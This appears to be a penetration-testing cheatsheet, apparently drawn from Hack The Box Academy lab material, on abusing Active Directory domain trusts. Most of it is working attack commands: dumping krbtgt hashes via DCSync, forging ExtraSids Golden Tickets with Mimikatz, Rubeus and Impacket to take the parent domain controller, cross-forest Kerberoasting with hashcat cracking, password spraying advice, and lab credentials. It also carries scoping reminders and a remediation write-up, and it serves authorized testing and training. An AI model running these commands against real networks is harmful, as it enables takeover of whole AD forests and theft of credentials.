🛡️ Methodology Checklist

  • Map trusts: Get-DomainTrust or nltest /domain_trusts
  • Identify trust direction and transitivity
  • BloodHound: review cross-domain paths
  • SID filtering status: check if SID history is filtered
  • Child→Parent escalation: raiseChild.py or Mimikatz ExtraSids
  • Cross-forest trust abuse: identify users with cross-forest rights
  • Document all trusts and attack paths for report

🎯 Operational Context

Use when: Domain trust relationships identified — abuse intra-forest or cross-forest trusts to escalate from child to parent domain or access trusted domains. Think Dumber First: Child domain DA → Parent domain DA via SID history injection is a single Mimikatz command if SID filtering is disabled. nltest /domain_trusts to list trusts; Get-DomainTrust for detailed info. Look for bidirectional trusts with unconstrained delegation. Skip when: SID filtering enabled on all trusts — SID history injection blocked; focus on constrained delegation abuse instead.


⚡ Tactical Cheatsheet

CommandTactical Outcome
Get-ADTrust -Filter *Enumerate all domain trust relationships (native AD module)
Get-DomainTrustPowerView — enumerate trusts
Get-DomainTrustMappingPowerView — recursive trust mapping across all domains
Get-DomainUser -Domain [TARGET_DOMAIN] | select SamAccountNameEnumerate users in a trusted domain
netdom query /domain:[DOMAIN] trustBuilt-in: list trust relationships
netdom query /domain:[DOMAIN] dcBuilt-in: list domain controllers
mimikatz # lsadump::dcsync /user:[CHILD_NETBIOS]\krbtgtDump child domain krbtgt hash
Get-DomainSIDPowerView — get current domain SID
Get-DomainGroup -Domain [PARENT_DOMAIN] -Identity "Enterprise Admins" | select objectsidGet parent EA group SID (ends in -519)
mimikatz # kerberos::golden /user:[FAKE_USER] /domain:[CHILD_FQDN] /sid:[CHILD_SID] /krbtgt:[HASH] /sids:[EA_SID] /pttForge ExtraSids Golden Ticket (Windows)
.\Rubeus.exe golden /rc4:[HASH] /domain:[CHILD_FQDN] /sid:[CHILD_SID] /sids:[EA_SID] /user:[FAKE_USER] /pttForge ExtraSids Golden Ticket via Rubeus
lookupsid.py [CHILD_DOMAIN]/[USER]@[CHILD_DC_IP] | grep "Domain SID"Linux — get child domain SID
secretsdump.py [CHILD_DOMAIN]/[USER]@[CHILD_DC_IP] -just-dc-user [CHILD_NETBIOS]/krbtgtLinux — dump krbtgt hash
lookupsid.py [CHILD_DOMAIN]/[USER]@[PARENT_DC_IP] | grep -B12 "Enterprise Admins"Linux — get parent EA SID
ticketer.py -nthash [HASH] -domain [CHILD_FQDN] -domain-sid [CHILD_SID] -extra-sid [EA_SID] [FAKE_USER]Linux — forge ExtraSids Golden Ticket
export KRB5CCNAME=[FAKE_USER].ccacheLoad ticket for Impacket use
psexec.py [CHILD_DOMAIN]/[FAKE_USER]@[PARENT_DC_FQDN] -k -no-pass -target-ip [PARENT_DC_IP]Access parent DC via forged ticket
raiseChild.py -target-exec [PARENT_DC_IP] [CHILD_FQDN]/[ADMIN_USER]Automated child→parent compromise
Get-DomainUser -SPN -Domain [FOREIGN_DOMAIN] | select SamAccountNameCross-forest — find Kerberoastable accounts in foreign domain
.\Rubeus.exe kerberoast /domain:[FOREIGN_DOMAIN] /user:[SPN_USER] /nowrapCross-forest Kerberoasting
GetUserSPNs.py -target-domain [FOREIGN_DOMAIN] -request [CURRENT_DOMAIN]/[USER] -outputfile hashes.txtLinux — cross-forest Kerberoasting
Get-DomainForeignGroupMember -Domain [FOREIGN_DOMAIN]Find users from current domain in foreign domain’s groups
Convert-SidToName [SID]Resolve raw SID to account name
bloodhound-python -d [FOREIGN_DOMAIN] -dc [FOREIGN_DC] -c All -u [USER]@[CURRENT_DOMAIN] -p [PASS]Ingest foreign domain into BloodHound (UPN format for username)

🔬 Deep Dive & Workflow

Trust Types

TypeDirectionTransitivityCommon Scenario
Parent-ChildBidirectionalTransitiveSub-domains in same forest
Tree-RootBidirectionalTransitiveRoot of domain tree
ExternalOne-way or bidirectionalNon-transitiveAcquired company
ForestBidirectionalTransitivePartner organization

Key BloodHound query: “Map Domain Trusts” — visualizes all bidirectional and one-way paths.

Rules of engagement: Always verify trusted domains are explicitly in-scope before crossing trust boundaries. Do not attack acquired companies or MSPs without authorization.

Child → Parent: ExtraSids Golden Ticket Attack

SID Filtering is disabled within the same forest by default. A compromised child domain’s krbtgt hash lets you forge a Golden Ticket with the parent’s Enterprise Admins SID injected into ExtraSids — the parent DC trusts it blindly.

Prerequisite: Domain Admin in the child domain.

Windows path (Mimikatz + Rubeus):

# 1. Dump child krbtgt
mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt
 
# 2. Get child domain SID (also visible in step 1 output)
Get-DomainSID
 
# 3. Get parent EA SID (always ends in -519)
Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" | select objectsid
 
# 4. Forge Golden Ticket — inject EA SID into ExtraSids
mimikatz # kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:[HASH] /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt
 
# OR via Rubeus
.\Rubeus.exe golden /rc4:[HASH] /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /ptt
 
# 5. Verify + access parent DC
klist
ls \\ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL\c$    # double backslash required
mimikatz # lsadump::dcsync /user:INLANEFREIGHT\administrator /domain:INLANEFREIGHT.LOCAL

Linux path (Impacket):

lookupsid.py LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm@172.16.5.240 | grep "Domain SID"
secretsdump.py LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgt
lookupsid.py LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm@172.16.5.5 | grep -B12 "Enterprise Admins"
 
ticketer.py -nthash [HASH] -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid [CHILD_SID] -extra-sid [EA_SID] hacker
export KRB5CCNAME=hacker.ccache
psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/hacker@ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL -k -no-pass -target-ip 172.16.5.5

Automated (when environment permits):

raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm

Critical gotchas:

  • No space after : in Mimikatz flags (/sid:S-1-... not /sid: S-1-...) — space = corrupted ticket
  • /user: can be any fake name; does not need to exist in the child domain
  • Linux: must export KRB5CCNAME before running Impacket; use -k -no-pass flags

Cross-Forest Trust Attacks

Works against bidirectional forest trusts or when the foreign domain trusts yours (inbound/outbound trust direction matters).

Cross-Forest Kerberoasting:

# Enumerate foreign SPN accounts
Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL | select SamAccountName
# Check their group memberships in the foreign domain
Get-DomainUser -Domain FREIGHTLOGISTICS.LOCAL -Identity solarwindsmonitor | select memberof
 
# Roast — MUST specify /domain or Rubeus only searches local domain
.\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:solarwindsmonitor /nowrap
# Linux equivalent
GetUserSPNs.py -target-domain FREIGHTLOGISTICS.LOCAL -request INLANEFREIGHT.LOCAL/forend -outputfile hashes.txt
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

Cross-Forest Foreign Group Memberships:

Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL
Convert-SidToName S-1-5-21-...  # resolve any raw SIDs returned
 
# If you control that account, authenticate across the trust
$pass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\adminuser', $pass)
Enter-PSSession -ComputerName ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -Credential $cred

BloodHound cross-forest ingestion:

# Must update /etc/resolv.conf to point at foreign DC before ingesting foreign domain
# Username MUST use UPN format: user@domain.local (not DOMAIN\user)
bloodhound-python -d FREIGHTLOGISTICS.LOCAL -dc ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -c All -u forend@INLANEFREIGHT.LOCAL -p Klmcargo2

Then use Users with Foreign Domain Group Membership query in BloodHound Analysis tab.

Password reuse check: If you crack a cross-forest SPN (e.g., mssqlsvc), always spray that password against similarly named accounts in your current domain — admins frequently reuse service account passwords across forests.


🛠️ Troubleshooting & Edge Cases

ProblemCauseFix
SID history attack failsSID filtering enabledCheck: Get-DomainTrust for SIDFilteringEnabled=True; if filtered, try alternative trust abuse
Inter-forest TGT request failsTrust type wrongExternal trust uses different Kerberos flow than forest trust; check trust type before crafting ticket
Child domain exploit requires DA but only have userNeed child domain DA firstKerberoast or AS-REP roast in child domain for service accounts with high privilege
Foreign group membership not visibleCross-forest LDAP not accessibleUse Get-DomainForeignGroupMember from child domain; may need to specify -Domain [PARENT]
Trust ticket generation failsWrong SID formatUse SID format: S-1-5-21-[PARENT_DOMAIN_SID]-519 for Enterprise Admins target group

📝 Reporting Trigger

Finding Title: Domain Trust Misconfiguration Enables Cross-Domain Privilege Escalation Impact: Improperly configured domain trusts with SID filtering disabled allow an attacker who compromises a child domain to escalate to parent domain/Enterprise Admin via SID history injection, compromising the entire AD forest from a single domain entry point. Root Cause: Trust relationship configured without SID filtering. No monitoring of cross-domain privilege escalation attempts. Recommendation: Enable SID filtering on all trust relationships (accept that some legacy applications may break). Enable selective authentication on cross-forest trusts. Implement Microsoft Defender for Identity cross-domain monitoring. Audit trust relationships quarterly.